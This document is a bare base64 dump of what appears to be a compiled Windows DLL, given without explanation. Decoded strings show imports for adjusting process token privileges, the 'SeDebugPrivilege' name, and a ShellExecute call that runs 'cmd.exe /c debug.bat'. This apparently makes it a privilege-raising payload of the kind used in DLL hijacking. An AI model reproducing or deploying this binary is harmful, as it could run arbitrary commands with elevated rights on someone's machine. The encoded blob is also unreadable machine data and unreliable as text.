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cHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHN0cmluZycAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHR5cGVvZicAAAAAYHZjYWxsJwBgdmJ0YWJsZScAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAPQAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZABfX3Jlc3RyaWN0AABfX3B0cjY0AF9fZWFiaQAAX19jbHJjYWxsAAAAX19mYXN0Y2FsbAAAX190aGlzY2FsbAAAX19zdGRjYWxsAAAAX19wYXNjYWwAAAAAX19jZGVjbABfX2Jhc2VkKAAAAAAMfgAQBH4AEPh9ABDsfQAQ4H0AENR9ABDIfQAQwH0AELh9ABCsfQAQoH0AEJ19ABCYfQAQkH0AEIx9ABCIfQAQhH0AEIB9ABB8fQAQeH0AEHR9ABBofQAQZH0AEGB9ABBcfQAQWH0AEFR9ABBQfQAQTH0AEEh9ABBEfQAQQH0AEDx9ABA4fQAQNH0AEDB9ABAsfQAQKH0AECR9ABAgfQAQHH0AEBh9ABAUfQAQEH0AEAx9ABAIfQAQBH0AEAB9ABD8fAAQ+HwAEPR8ABDwfAAQ7HwAEOB8ABDUfAAQzHwAEMB8ABCofAAQnHwAEIh8ABBofAAQSHwAECh8ABAIfAAQ6HsAEMR7ABCoewAQhHsAEGR7ABA8ewAQIHsAEBB7ABAMewAQBHsAEPR6ABDQegAQyHoAELx6ABCsegAQkHoAEHB6ABBIegAQIHoAEPh5ABDMeQAQsHkAEIx5ABBoeQAQPHkAEBB5ABD0eAAQnX0AEOB4ABDEeAAQsHgAEJB4ABB0eAAQAAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AU2VEZWJ1Z1ByaXZpbGVnZQAAAAAAAAAAL2MgZGVidWcuYmF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlAG9wZW4AAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAEOCBABADAAAAAAAAAAAAAAAAAAAACJAAEAyBABAAAAAAAAAAAAIAAAAcgQAQKIEAEESBABAAAAAACJAAEAEAAAAAAAAA/////wAAAABAAAAADIEAECSQABAAAAAAAAAAAP////8AAAAAQAAAAGCBABAAAAAAAAAAAAEAAABwgQAQRIEAEAAAAAAAAAAAAAAAAAAAAAAkkAAQYIEAEAAAAAAAAAAAAAAAAJCQABCggQAQAAAAAAAAAAABAAAAsIEAELiBABAAAAAAkJAAEAAAAAAAAAAA/////wAAAABAAAAAoIEAEAAAAAAAAAAAAAAAAGAlAADwQwAAEFYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA2REAEAAAAAD+////AAAAANT///8AAAAA/v///zkTABBKEwAQAAAAAIUUABAAAAAATIIAEAIAAABYggAQdIIAEAAAAAAIkAAQAAAAAP////8AAAAADAAAALcUABAAAAAAJJAAEAAAAAD/////AAAAAAwAAADrKQAQ/v///wAAAADY////AAAAAP7///8AAAAAcxYAEP7///8AAAAAghYAEP7///8AAAAA2P///wAAAAD+////AAAAADUYABD+////AAAAAEEYABD+////AAAAAMD///8AAAAA/v///wAAAAC9HQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGkrABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAADi4AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB3MQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAD40ABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAlzgAEAAAAAD+////AAAAANj///8AAAAA/v///5I6ABCWOgAQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAH88ABAAAAAA/v///wAAAADY////AAAAAP7///+7PwAQzj8AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAZRQAQfIQAAAAAAAAAAAAAloUAABBgAABshAAAAAAAAAAAAADohQAAAGAAAGSFAAAAAAAAAAAAAAaGAAD4YAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQhQAAuIUAAKSFAAAAAAAAiIUAAICFAABshQAAEoYAACiGAAA4hgAASoYAAF6GAAB6hgAAmIYAAKyGAAC8hgAAyIYAANaGAADkhgAA7oYAAAaHAAAahwAAKocAADqHAABShwAAZIcAAHCHAAB+hwAAkIcAAKCHAADIhwAA1ocAAOiHAAAAiAAAFogAADCIAABGiAAAYIgAAG6IAAB8iAAAlogAAKaIAAC8iAAA1ogAAOKIAAD0iAAADIkAACSJAAAwiQAAOokAAEaJAABYiQAAZokAAHaJAACCiQAAmIkAAKSJAACwiQAAwIkAANaJAADoiQAAAAAAAPaFAAAAAAAAwAFHZXRDdXJyZW50UHJvY2VzcwCyBFNsZWVwAFIAQ2xvc2VIYW5kbGUAS0VSTkVMMzIuZGxsAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAJYBTG9va3VwUHJpdmlsZWdlVmFsdWVBAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAEFEVkFQSTMyLmRsbAAAHgFTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAMUBR2V0Q3VycmVudFRocmVhZElkAADKAERlY29kZVBvaW50ZXIAhgFHZXRDb21tYW5kTGluZUEAwARUZXJtaW5hdGVQcm9jZXNzAADTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAANJc0RlYnVnZ2VyUHJlc2VudADqAEVuY29kZVBvaW50ZXIAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQDvAkludGVybG9ja2VkSW5jcmVtZW50AAAYAkdldE1vZHVsZUhhbmRsZVcAAHMEU2V0TGFzdEVycm9yAAACAkdldExhc3RFcnJvcgAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAARQJHZXRQcm9jQWRkcmVzcwAAzwJIZWFwRnJlZQAAGQFFeGl0UHJvY2VzcwBvBFNldEhhbmRsZUNvdW50AABkAkdldFN0ZEhhbmRsZQAA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APMBR2V0RmlsZVR5cGUAYwJHZXRTdGFydHVwSW5mb1cA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AEwJHZXRNb2R1bGVGaWxlTmFtZUEA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